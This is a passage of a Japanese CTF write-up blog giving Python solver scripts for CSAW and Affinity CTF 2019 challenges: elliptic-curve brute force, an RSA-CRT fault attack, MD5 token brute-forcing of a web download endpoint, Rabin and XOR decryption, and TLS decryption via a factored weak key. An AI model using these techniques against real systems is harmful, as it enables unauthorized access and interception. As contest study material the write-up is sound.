zaunpfahle abendsuppe verbergend gesprachig ein aufzulosen auskleiden. Braunen auffiel stunden tag ers. Hab blatt durch lernt ferne die nur. Beinahe bestand alt saubere ton wahrend sondern. Wachsamen holzspane in kellnerin filzhutes um he. Du verdrossen in launischen da es lattenzaun. Bodenlosen ri pa zu bescheiden fu feierabend. Pa bummelte im so em eigentum gebogene. Anzeichen in schreiben so kraftiger bekummert aufstehen. Geschlafen nachtessen ach neu wer aufzulosen den bescheiden nettigkeit. Sitzt darum ruhig neu aus zog flo. Geschah lag ins saubere des lustige raschen dritten lichten hin. Man aller trost herrn roten war armen ihr lag.

復号結果の中にフラグが紛れ込んでいる。

flag{~tak3_0n3_N!bbI3_@t_@_t!m3~}

SuperCurve (Crypto 300)

$ nc crypto.chal.csaw.io 1000
a = 1
b = -1
p = 14753
n = 7919
Public key: (5169, 6687)
What is the secret?

楕円曲線上のDLPの問題。orderが小さいので、総当たりする。

import socket
from supercurve import SuperCurve, curve

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 1000))

curve = SuperCurve(
    field = 14753, order = 7919,
    a = 1, b = -1, g = (1, 1),
)

base = curve.g

data = recvuntil(s, '?').rstrip()
print data
pub = eval(data.split('\n')[4].split(': ')[1])

for sec in range(1, curve.order):
    mul = curve.mult(sec, base)
    if mul == pub:
        print sec
        break

s.sendall(str(sec) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

a = 1
b = -1
p = 14753
n = 7919
Public key: (2242, 12492)
What is the secret?
3397

flag{use_good_params}
flag{use_good_params}

Fault Box (Crypto 400)

$ nc crypto.chal.csaw.io 1001
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
1
762D2A4856553D24DE9110BBA2DDBE1AAB44890BAAADB6CA30529BC2A7FF5CF408EEBBFBA5E5A909041F104FB67D9E61D96660BAE342A830A87409FD73386831FB1894C9F13B91F6762E0689E8558B22A88A8EECDD69ED9DC0845C918930FC3962D49E8E3DBA065B5AAB6EC3F4ED77F6C04AF0EDD72AE5704D944DAAD93B9C4DB48F5969BD96A88FF54AC3E46DBD64133345958501A467E28DFFB3F42533C4D58520B4394FA4A45AB39888D5403D9B300FE9EA7AD2E2A36ACFED57ECD0AAA354D0521D7BD49760A2AA66DE84BBEEEE55C86340D0251F956DC89DE5C2D7695C1868A0BA2EDB1F759BB423DEDB4AB8D7224B44186B6D5B3428D8C44D8E494F7D7D
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
2
807BEFEDF208BB8F7D950D266C8D7291C9408BB3FF7A9C6670A1D51B9FEE1DD9C2DD2A337860EC5FB1A92293CF8A4A5439867E04BFC6D60FC180DECBD206A6D5451C1AC8DFD396E0ABF20386A092B96668F6DD7EB875FC81173E7B420A95FA9CA70269F51045CA189E9BCA87CACBBF23179F2B1B1B5D5E3F6B2F82DE0904A39E06AE6FFE8D699B38815C2D7C28D9BD5D26FBF57B3898A8E41E828DE881EABAF6B2BC5519561ED3724FDFD38D8613E51C01E8F8432E15DB44DBCC94D0C536BC7E7AF01FD65F7BEB3098A220146A86E131B06173DF2F189C0E649ACED38527EE36B78899BFF172F25BB690981865DA127FD0261671F7442035485D46C951A91EED
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
3
3FE0F12C0A5742D6C62740CD448309DE810EE3C2F10A675F02090F1142075DF6903309509BD8EF5844329D0E12B9AEB9DCA565A2F000684FFA8A5813B32031D6814A302CAB5C9BB2D2475C6ED625D527E43D279DDBC76FF9DBAFF1D97F2C9C7C939AF9096AB0BC4AFC1CC6AE150EDF18CB567D0F2B8DBDBAAF1CB4A68476E5245960FF058E4BD3E7A26FE8F0E0FEB8C6237C4088F9D9A8990B28FC0BB4C5415A76C6074F72AE79302D9B90B0874C2DA17317E2A5CDB303BB24076C63BC4F55C178CE622BC2634794D5EDF85AF2D19F84F724D1CFE2F9F7AB8E47CF55A69546B639D9119F14A1C9270599B0ABC371F481D6B1557E8B26B2A03B6368415D784FC5
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
4
input the data:0
EDE7070934B122B7B106E715E536EAA5874E7E571D83E3EE4ADFC46BF413898819F86630C906621F4203A99FFA19DDBE485A4B4303395E171C189301C73960A87B1D73FB7D5D4C9FAA2B212742D1D148F953752CE05F90EFAAB06565F35ECDF6AA98A450C3009C860EA9582DA5CBD9954419D46935F3934A528D0D98A1F09D060C725AD04382BBCB06498E9AF6CD925D5553933459BBB3C7ABBBFDD758C749E4C6468119342399FB701BC18B24D7DE753227EF51FA7BF2A735E35DA8E07BBAFC9182299A7A3B0287B3E4D2A93072B6A594CD55F35271D6EDA99BB9E8D1181A4C3252F73054CC6619B95550B04B1A98D4A42CDE8C155759B428637317610E657
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
4
input the data:0
EDE7070934B122B7B106E715E536EAA5874E7E571D83E3EE4ADFC46BF413898819F86630C906621F4203A99FFA19DDBE485A4B4303395E171C189301C73960A87B1D73FB7D5D4C9FAA2B212742D1D148F953752CE05F90EFAAB06565F35ECDF6AA98A450C3009C860EA9582DA5CBD9954419D46935F3934A528D0D98A1F09D060C725AD04382BBCB06498E9AF6CD925D5553933459BBB3C7ABBBFDD758C749E4C6468119342399FB701BC18B24D7DE753227EF51FA7BF2A735E35DA8E07BBAFC9182299A7A3B0287B3E4D2A93072B6A594CD55F35271D6EDA99BB9E8D1181A4C3252F73054CC6619B95550B04B1A98D4A42CDE8C155759B428637317610E657
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================

サーバの処理の概要は以下の通り。

p, x = gen_prime()
- base: 1024bitランダム整数
- off: base + offが素数となる最小値のoff
- p: base + off
- x: off

q, y = gen_prime()
- base: 1024bitランダム整数
- off: base + offが素数となる最小値のoff
- q: base + off
- y: off

n = p * q
e = 0x10001
phi = (p-1) * (q-1)
d = inverse(e, phi)

fake_flag = 'fake_flag{(yの32バイト16進数大文字)}'
→yはあまり大きい数字にならない。

■enc_flag
pow(FLAG, e, n)
-> 16進数大文字表記

■enc_fake_flag
pow(fake_flag, e, n)
-> 16進数大文字表記

■enc_fake_flag_TEST
ep = inverse(d, p-1)
eq = inverse(d, q-1)
qinv = inverse(q, p)
c1 = pow(fake_flag, ep, p)
c2 = pow(fake_flag, eq, q) ^ x
h = (qinv * (c1 - c2)) % p
c = c2 + h*q
-> 16進数大文字表記

■enc_msg
pow(input, e, n)

enc_msg以外を2回実行すると、パラメータがリセットされるので、1~3のうち得られないデータがある。また、タイトルからRSA-CRT Fault Attackを利用するような気がする。いろいろ試したり、検討したりした結果、以下の方針とする。

1.enc_msgで2,4,16の暗号化数値を取得し、Nを算出する。
2.enc_flagでフラグの暗号化数値を取得する。(これは外せない)
3.enc_fake_flag_TESTでfake_flagの暗号化データ(c2が誤っている)を取得する。
4.すでに2回enc_msg以外を使用しているので、enc_fake_flagで得られるはずの数値はブルートフォースで適切なものを探す。
5.3,4の結果からRSA-CRT Fault Attackを使って、Nを素因数分解する。
6.5の結果から2で取得した暗号化数値を復号する。
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 1001))

data = recvuntil(s, 'encrypt\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

#### calculate N ####
try_rsa_enc = []
for m in [2, 4, 16]:
    print '4'
    s.sendall('4\n')
    data = recvuntil(s, 'data:')
    print data + chr(m)
    s.sendall(chr(m) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc = int(data, 16)
    try_rsa_enc.append(enc)

    data = recvuntil(s, 'encrypt\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data

diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1]
diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2]

N, _, _ = egcd(diff1, diff2)
e = 0x10001

for i in range(100, 1, -1):
    if N % i == 0:
        N = N / i

#### get encrypted flag ####
print '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data
c = int(data, 16)
data = recvuntil(s, 'encrypt\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

#### get fake flag (FAULT) ####
print '3'
s.sendall('3\n')
data = recvuntil(s, '\n').rstrip()
print data
c2 = int(data, 16)

#### calclate p, q (Brute Force) ####
for y in range(4096):
    fake_flag = 'fake_flag{%s}' % (('%X' % y).rjust(32, '0'))
    c1 = pow(bytes_to_long(fake_flag), e, N)
    p, _, _ = egcd(pow(c2 - c1, e, N), N)
    if p > 1 and p < N:
        q = N / p
        break

assert p * q == N

#### decrypt flag ####
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
4
input the data:
851D6D9C07943581FF5252E8A885C64600668D05D26DB97687B5AB68531E667786CE792E57916ECCAC637C0D895F57ED31A1CD4A8B4CA78AD54F13C66005DE2E2765804FF61A2258544F79E611E78634FE909558C2F419867E945B9FD7CF516C627401DD1C0BBD8BD265F9E6110105609270A84D8A9BEEDE3E9BD94D38C888AEE4B6EC29605DD532B193315BE4A2C78943DD6B662058D93BBE3EE7B0B7D6A54C3309F7375986F4371E521DA68700033F407E2405BFA82D7D5BCE8D0F5D2FF2AC3DBBFCE4A1F782C60E225DDB4973C4E1D6B10CE8E23D242362E7CB838A2A36733F585FB0DBD92755F8569FB595DD81B9AE0999A330C6E9A33361E67F1D5EF8C
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
4
input the data:
17831212B2DB05436E7E3021D12089C78223853577606D6B2421E1AA06E65AA0934D214F64ECA61C12C508544560FCB98BC177286D00BB65A2FB49242E11B4EA5E05AAB2A89DBBF20B6FD78AD7436AFE0F415BF4AE64B0D8CEFC587D60C614E5922829EADD754EE377C9E15E03D7C1E8E545452BAED350D5DECA6E0CE65E72DD9954D15321C6B9A557A2FF52631B0C05917E341925D7CFD7E6DEDDBBB468E4F99EFEA89EBE3F213A9CCBD73980C681B217B326FCFC2355545596B76B4119137F73C40062DEF6DC0F1F57A68F4C0A61F95979854A63DCDC4110C0D47376D7F03FADC9CBC82A4B6BA2EF3D70274422228A943C178D8DF64D47C5DBA42F92F2A602
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
4
input the data:
131293C26592B866F22504428549D0457964E9617D321BEBE7F6A48778BB93D681396BF4D773D4C1F992CD6EF670C8A38067F0A55BC594582277B7651905D40A88CC6F405CB5F31A88836FF6CF8B50F647B5D412DB5689EACFAB59C3DF61D184666CC2B67B31FEEEA58F18485E3851D7EE8BF8D24E873F91780AEDF570AFA966546B0659E4ED16E6A83A2570EFDC59D6BAF9DDB1FB1E39D6D9FD275A281E7B376634D68C559B3365179E597A504AFF430DCC73CBFB99D2210A5A1533A149ABCE64163E362AB06A066AF4AF0D8BFC69A5437050D9266AA2588673E3111D8745BB02DCF59B55B7F3F09A35C10F67D1CAC55A6C4B11B58776B4C974266CBF4E95F9
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
1
CC11224FBCD599ADF47C4B06965B61E2A98C031DFE3A0CBFAD4C01FF7A99D4715EA6C3882305E30369779371A6E4F16C9D0484995ED74D971E21B59D4FD28E95A569A4F54E87694714FCBAF368B5DD6A723292AA26F51BA444585A9FFC9DDB5BA8B4168E64E3310FE6696E6E1E04BC19A872A3E28558CC2DD35D4F3D73BA3BA7AC2303F2A279C20D04D339E3CF6EF10B9B3B97C9238E5A93FCD2722DD00C51AD7324AB0DC5C86310B12FF95D4C183C3AF3214C1D08BE88181F7C08FC397871A212A6997C6603792AF769BFB616BA17BC4351804D9ACB1FCE8A078EFD95240A4AC7E50F4A1E6D982ECD8A5B9C29AFEF44C85E30C28C19142868C0B11086DE901
====================================
            fault box
====================================
1. print encrypted flag
2. print encrypted fake flag
3. print encrypted fake flag (TEST)
4. encrypt
====================================
3
20B1A2D3D32FD90013A160B644E3B438DEDE2D49D03C22E3236A4B0CE7B7E50F3EF31CF52D32FB7E65C38EE09E9A035E523FA3A3260079B756B089D9DB7B106AC6EBD0A69F49DC0EAB76239818B385D43B562C76823A726B8051F283E513823EA9C6E81E2F80D3661B5974667244FFEDA882DAB1D693D664CD6B0510C6F38D6C43C79EA09CDE55435DD33A720DD810ABC74915FC6FEA58EC83CE4A6DE257B1B47B1765EFB1E4A578A3FD657A691DCBD4A4C450B90BE5E3AFB6015E79620B3C188C0C7852008C258F6DD662D13214F05FE17660C1AA545D9FC5F1243E573D484AF832E53C9CDA555672DB6AB333B0AEEFE8D0BA529C6874162E8EB4B60753ED49
flag{ooo000_f4ul7y_4nd_pr3d1c74bl3_000ooo}
flag{ooo000_f4ul7y_4nd_pr3d1c74bl3_000ooo}

Affinity CTF 2019 - Quals Writeup

この大会は2019/9/7 3:00(JST)~2019/9/9 3:00(JST)に開催されました。
今回もチームで参戦。結果は6011点で450チーム中3位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc 1)

問題にフラグが書いてあった。

AFFCTF{S4nity_1s_V4nity_!}

DISC ORDer (Misc 10)

よく見たら、タイトルの大文字部分がDISCORDになっている。Discordに入ると、#generalのところにフラグが書いてあった。

AFFCTF{Pr0p3r_C0ms_aR3_4lways_g00d!}

Download me ... (Web 150)

HTMLソースを見る。

Download file:<pre><a href="download.php?file=file1.txt&token=6f2268bd1d3d3ebaabb04d6b5d099425">file1.txt</a><br /><a href="download.php?file=file2.txt&token=e6cb2a3c14431b55aa50c06529eaa21b">file2.txt</a><br /><a href="download.php?file=file3.txt&token=65658fde58ab3c2b6e5132a39fae7cb9">file3.txt</a><br /><a href="download.php?file=flag.txt&token=">flag.txt</a><br />

ダウンロードするにはtokenを正しく指定する必要がありそう。

file1: 6f2268bd1d3d3ebaabb04d6b5d099425 --(md5reverse)--> 753
file2: e6cb2a3c14431b55aa50c06529eaa21b --(md5reverse)--> 952
file3: 65658fde58ab3c2b6e5132a39fae7cb9 --(md5reverse)--> 536

tokenをmd5の逆変換してみると、ファイルサイズと合っている。flag.txtに対して1から順にmd5の値を指定して、リクエストしてみる。

import requests
import hashlib

url = 'http://165.22.22.11:25632/download.php?file=flag.txt&token='

for size in range(1, 100):
    token = hashlib.md5(str(size)).hexdigest()
    r = requests.get(url + token)
    flag = r.text
    if flag != 'Invalid token.':
        print 'size =', size
        print flag
        break
AFFCTF{Pr3dic71bl3_t0k3n5_4r3_b4d}

Alan said. (Crypto 100)

Alanという問題のタイトルからエニグマ暗号と推測。問題の暗号は、qrvpc dryqe uyomt nxzin nlxtt vqgyl mptj。
https://cryptii.com/pipes/enigma-machineで、添付の画像をヒントにパラメータを調整する。
画像から推定できるパラメータは以下の通り。

・ROTOR: 123
・POSITION: ZOO
・RING: PUB

モデルを変えながら、復号結果を見て、少しでも何か意味のありそうなものを見つける。結果、以下の画面の通り試して、フラグとして通った。
f:id:satou-y:20190916081650p:plain

AFFCTF{abitofhussingneverdidanyoneanyharm}

Breaking Bad (Crypto 150)

暗号は大文字小文字の繰り返しになっている。原子番号をASCIIコードとして文字にしておけばよさそう。

enc = 'HoRfSbMtInMcLvFlAcAmInMcAmTeErFmInHoLvDbRnMd'

atomic = {
    'Ho': 67,
    'Rf': 104,
    'Sb': 51,
    'Mt': 109,
    'In': 49,
    'Mc': 115,
    'Lv': 116,
    'Fl': 114,
    'Ac': 89,
    'Am': 95,
    'Te': 52,
    'Er': 68,
    'Fm': 100,
    'Db': 105,
    'Rn': 86,
    'Md': 101
}

dec = ''
for i in range(0, len(enc), 2):
    dec += chr(atomic[enc[i:i+2]])

flag = 'AFFCTF{%s}' % dec
print flag
AFFCTF{Ch3m1strY_1s_4Dd1CtiVe}

GolanG Heights (Crypto 350)

Go言語の暗号スクリプトを読み解くと、概要は以下の通り。

・factorBigInt: ランダムBigInt
・p = (factorBigInt ** 2) * 4 + (factorBigInt * 3) + 7351
・q = (factorBigInt ** 2) * 19 + (factorBigInt * 18) + 1379
・e = 2

n = p * qからfactorBigIntの一元4次方程式とできる。そこからp, qを割り出すことができる。結果両方とも4で割ったときの余りが3になるので、Rabin暗号の復号方法で復号できる。

from sympy import *
from Crypto.Util.number import *

def egcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        gcd, y, x = egcd(b % a, a)
        return gcd, x - (b // a) * y, y

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

n = 825321266319602503456977005474981604870402407335194099572979028339224439122246767155608828548258547874076592811333439775645799852274012447643240804287007452861599291275940862131595970247906775549656137041013432613989092491697319873901497907382123859210758943466373193369020798176192106305153278525778145033 
ct = 801050608421922967220624523903721496853411844056321773877598932155971380872263121340024512973182420871402804237809506243995703890886804092449855251892886296340338442367792297266755554172082930224889412735287102163161928535579728998850091020972410977027707699268899998522781790134147981974412918582618345868

var('x')
eq = Eq(((x ** 2) * 4 + (x * 3) + 7351) * ((x ** 2) * 19 + (x * 18) + 1379) - n)
ans = solve(eq)

x = ans[0]
p = (x ** 2) * 4 + (x * 3) + 7351
q = (x ** 2) * 19 + (x * 18) + 1379

assert n == p * q
assert p % 4 == 3
assert q % 4 == 3

r = pow(ct, long((p+1)/4), long(p))
s = pow(ct, long((q+1)/4), long(q))

gcd, c, d = egcd(p, q)
x = (r * d * q + s * c * p) % n
y = (r * d * q - s * c * p) % n
plains = [x, n - x, y, n - y]

for plain in plains:
    flag = long_to_bytes(plain)
    if is_printable(flag):
        flag = 'AFFCTF{%s}' % flag
        print flag
        break
AFFCTF{##just!c3_just!c3_y0u_sh@ll_pursu3_##_d3m@nd__p3@c3__@nd__pursu3__!t##}

Epic Poem (Crypto 500)

XOR鍵がAFFCTF{から始まると推定して、復号する。その際片方のメッセージが以下のサイトのものと同じになりそうなので参考にする。

https://pl.wikisource.org/wiki/Litwo,_Ojczyzno_moja!
def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

with open('enc1', 'rb') as f:
    data1 = f.read()

with open('enc2', 'rb') as f:
    data2 = f.read()

flag_head = 'AFFCTF{'

for i in range(len(data1) - 7):
    m1 = str_xor(data1[i:i+7], flag_head)
    m2 = str_xor(data2[i:i+7], flag_head)
    if is_printable(m1) and is_printable(m2):
        print i, '"' + m1 + '"', '"' + m2 + '"'

## guess that key length is 35
pt1_head = 'Litwo! Ojczyzno moja! Ty jestes jak'
key = str_xor(pt1_head, data1[:35])
print key
AFFCTF{M4nY_t1m3_PaD_1$_b@d__!!!}

Grains of Sand (Crypto 900)

TLSの通信ばかり。証明書をエクスポートしてみる。2つのセッションで証明書はあるが、まずはNo.6のパケットからエクスポートし、内容を確認する。

$ openssl x509 -in 6.cer -text -pubkey -inform DER
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 10166668427322618640 (0x8d174311bfbe7310)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=AFFCTF-2019
        Validity
            Not Before: Aug  6 14:06:46 2019 GMT
            Not After : Aug  5 14:06:46 2020 GMT
        Subject: CN=AFFCTF-2019
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (512 bit)
                Modulus:
                    00:ad:74:88:97:ea:99:aa:23:7e:d9:7b:59:ef:f6:
                    33:58:bf:6d:d9:15:0e:e1:34:e2:80:93:b0:8f:29:
                    a1:60:60:47:18:93:87:70:87:83:a5:00:c1:28:8f:
                    90:eb:fa:75:5d:f2:ce:c3:1e:c7:e9:12:28:ec:ce:
                    19:c1:1d:da:43
                Exponent: 3 (0x3)
    Signature Algorithm: sha256WithRSAEncryption
         a7:18:83:30:e6:6a:a5:d8:36:0e:43:7c:c0:e1:4e:53:67:40:
         e9:d5:0b:aa:d6:86:03:39:ee:c6:2e:d3:53:cc:dd:07:26:0e:
         05:6b:71:02:ff:db:52:cf:a1:52:68:19:d3:22:a3:16:e2:83:
         83:5e:57:61:2f:aa:1e:34:61:f2
-----BEGIN PUBLIC KEY-----
MFowDQYJKoZIhvcNAQEBBQADSQAwRgJBAK10iJfqmaojftl7We/2M1i/bdkVDuE0
4oCTsI8poWBgRxiTh3CHg6UAwSiPkOv6dV3yzsMex+kSKOzOGcEd2kMCAQM=
-----END PUBLIC KEY-----
-----BEGIN CERTIFICATE-----
MIIBGzCBxgIJAI0XQxG/vnMQMA0GCSqGSIb3DQEBCwUAMBYxFDASBgNVBAMMC0FG
RkNURi0yMDE5MB4XDTE5MDgwNjE0MDY0NloXDTIwMDgwNTE0MDY0NlowFjEUMBIG
A1UEAwwLQUZGQ1RGLTIwMTkwWjANBgkqhkiG9w0BAQEFAANJADBGAkEArXSIl+qZ
qiN+2XtZ7/YzWL9t2RUO4TTigJOwjymhYGBHGJOHcIeDpQDBKI+Q6/p1XfLOwx7H
6RIo7M4ZwR3aQwIBAzANBgkqhkiG9w0BAQsFAANBAKcYgzDmaqXYNg5DfMDhTlNn
QOnVC6rWhgM57sYu01PM3QcmDgVrcQL/21LPoVJoGdMioxbig4NeV2Evqh40YfI=
-----END CERTIFICATE-----

公開鍵パラメータは以下のようになっている。

n = 0x00ad748897ea99aa237ed97b59eff63358bf6dd9150ee134e28093b08f29a1606047189387708783a500c1288f90ebfa755df2cec31ec7e91228ecce19c11dda43
e = 3

nを素因数分解しようと思ったが、なかなかできない。sand.numというファイルもあったので、試しにnを割ってみると、割り切れることが分かる。

n = 0x00ad748897ea99aa237ed97b59eff63358bf6dd9150ee134e28093b08f29a1606047189387708783a500c1288f90ebfa755df2cec31ec7e91228ecce19c11dda43
num = 95822117903881741755045863839122036726311174271919162702302872031449498584799

assert n1 % num == 0

p = num
q = n1 / p
assert n1 == p * q

print 'p =', p
print 'q =', q

実行結果は以下の通り。

p = 95822117903881741755045863839122036726311174271919162702302872031449498584799
q = 94806779941127810821354869084316339665245001669547639965103664836666568035613

これで、p, qがわかり秘密鍵を生成できる。

$ rsatool.py -f PEM -o secret1.pem -p 95822117903881741755045863839122036726311174271919162702302872031449498584799 -q 94806779941127810821354869084316339665245001669547639965103664836666568035613 -e 3
Using (p, q) to initialise RSA instance

n =
ad748897ea99aa237ed97b59eff63358bf6dd9150ee134e28093b08f29a1606047189387708783a5
00c1288f90ebfa755df2cec31ec7e91228ecce19c11dda43

e = 3 (0x3)

d =
73a305ba9c66716cff3ba7914aa4223b2a493b635f40cdec55b7cb0a1bc0eae9c1184bb7b9250a89
0cf3ba3ef29209613c26f77af9ad8b67ecd05efc2ed7aedb

p =
d3d96593027df3dfaa545650876cd8fc35d46671d4113924bf8ec0be190d06df

q =
d19abc60d851fff7c2ff3ae09da413674de3f518d4325ed186257ee161cd4d1d

Saving PEM as secret1.pem

このファイルをWiresharkで設定して通信を見てみる。この復号した通信の中からパスフレーズ付きの秘密鍵が取れるが、パスフレーズはわからない。あと怪しいLocationのデータがある。

1slbrvzlvbwxda6nrrs6b67u4d6lbn9h4emxkncxnlm0nr6dwn4bz077jo1kkx8tvgx2eucm80ivnck7dosr7nspsi61ytedp6ibathma6tt43bzsi2c754wwpva4b1fgvo17iofuc5zt52utha7h8pgz4pj2hbnz3upy0xenl504auhp4ab8daqajlj4vq9a7to4khh3pilrq0fhseumx875p47p5l6gmmymyf7ezpjmckmbkcil6h58fhxe6289qd3mxf7560k0z5fqvedw7zbtdspttl4e271sxon019spnimqi9h52u7n2et6n01vkoer2vq1grg13xgbcnq71r12ale5oljepn5hhy98lgqfln3vfsxh1qyo72sgpzw0xgyvikq3i2vgpx3hgwdahzqrnvcie5i8den16jj02s7tj453tog53xo529viq0ibsz75qlehrv240qpncvbg2or8quv6u49ngquspwjfvcd776wfu4q2jmap2crsfqgyctl4vq5do0x9m1820mq6fa9ewfgqs08dvfhz2v70kexnz548xlanorujm6uocnznqq962869ga0tsc21jpzmbm0wt9q6y2rrhtq59mknd74aabwm7m6oy05hq7r7t3lzw0uyl8pcai86845ynqfdc1jnizope8p0fskpmr5hnsxum9jf32hb4umrgll25e5ltd0xzrumcbj3ahyxa2r1g6e7syix9wq8q88wvlcvc77lf28a3lplb6q5g4vjlzktj559qv22zjf8a81we7i2gw0lej946mh4si0ldift07gb7vvjf0z2r2zay6aek7k32cwd67drqq8iaqalz021ircoxzr6n5egrpqw6w0lggzp0n4w3jgijxx6im6r477j0v52jo07uc5izipesedd24zcyasdqa5yolt4y4yr0nuwzelmlg9cgm9bjjcp2er35j1hkxtdhyklkk7nqaqvooswh3hh59kno1wggf96puwc6tup743w7b8kmis9ilxh8z390u0822xq3851ionsbse2eackkkh0acxdacjtqrxid8a1belk95o7ges0zu3zr5hx0q6xvx7lhu9f37tfbtk7bczclryuu1pug3ke33w34andbcpfk7r60ifath13us4y7136rzy1le1a7c7nfvmn2uktm4xzyekkhms7fy3qs9kh35ztj7biyy8s8jytqx37mcqokkd3zjr9kmbif8o0hm0m6mexmdzqwn04xxlrof54jo51r43syffha1chik8djb3bzgs9g4o301hi3emyah6hgmazzgqgc57iwyidjtmylvrzlsfz8wor61cq2r67pkkjfz9evzn2i7kqaj07ht7abluxhn8aa373bifobclsz6qqeuybfy08vyojnse0hybr1fe5cnicm7tyvz5o24a8e9x24z2x2vpwqszed1ficdbc43y78gkexgvrau2sf9q34u5d10lk7vwjp89bx5gunxzch0v62qnbjutokgrv7d72ox1cnlfwrpp8lehqvyi9aqgjnanmyj2buynu2sf89huemau0kukbjw831nwppqnlr40lqy5w9fp6bldhv8d4bdcsuw3oz6carp2e7hgk6z6bx7tp468qokhyorwonyfwlkk8suqdx7ywj1foxbmf9xnsr7kh887q9712s32d6lsj4rcx44ya4d8z8ayzrvosmb11sw87j5yyiooxxbul150rgl7kxq3tewyn75t9hxtekfqsf22vja6smpjazfekg0pdqrg1hnb6yoqu045dg8fwqc7ls4zcbf94mwv2hkits9itnntqdo23uc8xcqcovhxr6aw6xvseaoc96p5xsucubgbxkwo8rqfdcb8851fvyl51rkkfpc9jfb8ygryc8sapluhh7uzqqsfx47k4id5lnnayitp0v5emnntc0f730s1yiy3upxb7fflp9m7dmgt7qajaiqq2f3y5ey69bxv43f7cxtlcxbar1agfyei2rpajdb1by5ch6508lo8w66g4qdaj7ilgmepg5p1ck2sek3u3vkde3daolt5y1lq2pyz3ds0436lgucspa4xvj0563z0rxdbd7qn23ftcsf2bmo8nr7go9cffanqfp31kqtluw7zbnuanx4thilmabc18yydjkw4fl9aio76kejkn4qr2wau4egbv5ntb5jc4dupt400k98bluy4whpl5cck4i4pd3v05dr6ifqqo52161g5qe465s4bougpco3qwugfv88vhkhk1gou5fz7noe98ffcxl0b1qjdznvh3rii5ufhj47dxygcnh0a1kud5lysegcbz00mrvl1v6q62yd481wnb0d6ptof29iqjoxnvol6sjtwdhxyy95494jur0dm41yi857spg2qixbmnh51qspp2c8enpd4pb63olmxsktdxt6dp5qfmxrnxi3jfmvu99d44axhe9g5by4vt6y3efu5pwni9rtwvcatekv15xzvrwko0ciu4lnkwxud1qw130z7w2djzyz5mkxmv40q18v95qhhg90pxotp6647y2f1q5bom7xwm94g2ao7akxcfxfhn9whioanavjmb3j2a7inb49aigfy70t0tlpmep3jxyjkydwdckyrdd8io4e0zq9swb4ydv18fkefwuk1ru6q0rovtzkx2rzz2s79n0pf1g4ak2errugcdcc2any7ok2scyqwumygncng5u2tcbyj1zsye98xayk6mjixu2zb5gc9htimpi860n5jx7gzwfed616pgmk1rnsmhl11r2av7190e9j5yn39fe6u4csyz49gl9dtf0299907hc3f4d9hc05n5zmfn82w55tcc3rn11o3jxpd35wxn2mt1gcwhuetwqolvwtg0u70h0sck8q8g1fibwkvh8xh9vc534ixagokrsaq891gwbzvqkpat5xa8engvcuygl73rp639hskqa9oix9p1vgp5ilo2u6bjdxzf96gi9qlcihwvo3uk59ry4mrm8d2fm3nc4mm9f6gvwsq5j7pgx5dhwaa79qu32p9zaaqo9nntsbg8wv6zyae6ehwqbdc6ucv5o4sahbkbqbqo395o0fsrwwowy8tt3fx12ddz4jooqh17f8y1ouq3wo40q4wq958iyc82qcl6tgrdkqrej8h3meyhtdjzq62l91gsakx7z66oa1dfcndc7rkj6q0k3h4w051ohvz87qq5x1fqx87it-w1-s1-v03-p33

この長い文字列の末尾の、"w1-s1-v03-p33"は前にも見たことがあり、Library of Babel(http://libraryofbabel.info/)のものだとわかった。
ここのBrowseのページで以下のデータを順番に指定する。

Hex Name:
